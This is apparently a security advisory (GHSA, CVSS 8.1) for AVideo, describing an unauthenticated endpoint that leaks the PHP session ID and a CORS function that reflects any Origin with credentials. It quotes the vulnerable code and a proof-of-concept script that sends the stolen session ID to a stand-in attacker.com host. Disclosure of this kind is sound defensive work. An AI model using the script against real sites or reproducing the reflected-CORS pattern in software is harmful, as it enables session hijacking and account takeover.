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GHSA-qc3p-398r-p59j

HighCVSS 8.1 / 10
Published Mar 17, 2026·Last modified Mar 20, 2026
Affected Components(0)

No affected components available

Description

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

Risk Scores
Base Score
8.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.34%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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